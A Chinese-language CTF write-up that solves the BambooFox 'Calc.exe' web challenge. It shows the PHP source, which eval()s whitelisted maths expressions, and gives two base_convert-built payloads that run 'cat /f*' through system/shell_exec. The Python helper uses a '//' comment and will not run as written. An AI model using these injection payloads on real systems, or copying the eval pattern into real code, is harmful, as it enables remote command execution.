###### tags: `BambooFox` `Web` # [CTF][Web][BambooFox] Calc.exe 題目連結:[Link](http://chall.ctf.bamboofox.tw:13377/) 0x01 == > 題目畫面 ![](https://i.imgur.com/h4ZHhbF.png) > 執行結果 ![](https://i.imgur.com/tC7Awa8.png) > Source ``` <?php error_reporting(0); isset($_GET['source']) && die(highlight_file(__FILE__)); function is_safe($query) { $query = strtolower($query); preg_match_all("/([a-z_]+)/", $query, $words); $words = $words[0]; $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format']; $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],'; $accept_chars = str_split($accept_chars); $bad = ''; for ($i = 0; $i < count($words); $i++) { if (strlen($words[$i]) && array_search($words[$i], $good) === false) { $bad .= $words[$i] . " "; } } for ($i = 0; $i < strlen($query); $i++) { if (array_search($query[$i], $accept_chars) === false) { $bad .= $query[$i] . " "; } } return $bad; } function safe_eval($code) { if (strlen($code) > 1024) return "Expression too long."; $code = strtolower($code); $bad = is_safe($code); $res = ''; if (strlen(str_replace(' ', '', $bad))) $res = "I don't like this: " . $bad; else eval('$res=' . $code . ";"); return $res; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.1/css/bulma.min.css"> <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script> <title>Calc.exe online</title> </head> <style> </style> <body> <section class="hero"> <div class="container"> <div class="hero-body"> <h1 class="title">Calc.exe Online</h1> </div> </div> </section> <div class="container" style="margin-top: 3em; margin-bottom: 3em;"> <div class="columns is-centered"> <div class="column is-8-tablet is-8-desktop is-5-widescreen"> <form> <div class="field"> <div class="control"> <input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" /> </div> </div> </form> </div> </div> <div class="columns is-centered"> <?php if (isset($_GET['expression'])) : ?> <div class="card column is-8-tablet is-8-desktop is-5-widescreen"> <div class="card-content"> = <?= @safe_eval($_GET['expression']) ?> </div> </div> <?php endif ?> <a href="/?source"></a> </div> </div> </body> </html> 1 ``` 在程式碼中可以看見關鍵的幾行,例如白名單 ``` //WhiteList $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format']; $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],'; //Max Charter if (strlen($code) > 1024) return "Expression too long."; //Execute My Input eval('$res=' . $code . ";"); ``` 總結出來我們只能使用白名單上的各類數學函式去拚出我們需要的ShellCode 並且輸入的size不超過1024(含),接著丟進eval執行我們輸入的東西 別人的寫法 === >需要: ==print_r(shell_exec(cat /f*))== Payload: ``` (base_convert(27118333,10,32).is_finite[2].floor[4])((base_convert(29932213,10,32).is_finite[2].exp[0].exp[1].base_convert(460,10,32))(base_convert(12859,10,32)(99).base_convert(12859,10,32)(97).base_convert(12859,10,32)(116).base_convert(12859,10,32)(32).base_convert(12859,10,32)(47).base_convert(12859,10,32)(102).base_convert(12859,10,32)(42)),1) ``` 我的寫法 === >需要: ==system(cat /f*)== Payload: ``` (base_convert(28,10,36).base_convert(34,10,36).base_convert(28,10,36).base_convert(29,10,36).base_convert(14,10,36).base_convert(22,10,36))((base_convert(12,10,36).base_convert(10,10,36).base_convert(29,10,36)).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(32).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(47).base_convert(15,10,36).((base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(42))) ``` Get Flag ! === ![](https://i.imgur.com/fF6k21L.png) 補充 === > base_convert()是php中進位的函數,因16進位的英文字只有a-f而已,遠遠不夠我們需要用的 > 而0-9,a-z總共36個,36進位才充分滿足我們需要的結構 因為除了0-9,a-z以外的字元,我們都會使用chr()來彌補 而也可以只用一個function滿足一個函式,例如: ``` def base_convert(number, fromBase, toBase): try: # Convert number to base 10 base10 = int(number, fromBase) except ValueError: raise if toBase < 2 or toBase > 36: raise NotImplementedError output_value = '' digits = "0123456789abcdefghijklmnopqrstuvwxyz" sign = '' if base10 == 0: return '0' elif base10 < 0: sign = '-' base10 = -base10 # Convert to base toBase s = '' while base10 != 0: r = base10 % toBase r = int(r) s = digits[r] + s base10 //= toBase output_value = sign + s return output_value if __name__ == "__main__": tmp = 1 //任意更改,可依a的值去做大幅度增減 while(1): a = base_convert(f"{tmp}",10,36) print(a,tmp) if a == "system": break else: tmp += 1 ``` 由上述程式碼可得知,system=1751504350 base_convert(1751504350,10,36)=system 其實我當初還戳到XSS,但其實沒什麼用 .... ![](https://i.imgur.com/mlXl0RX.png)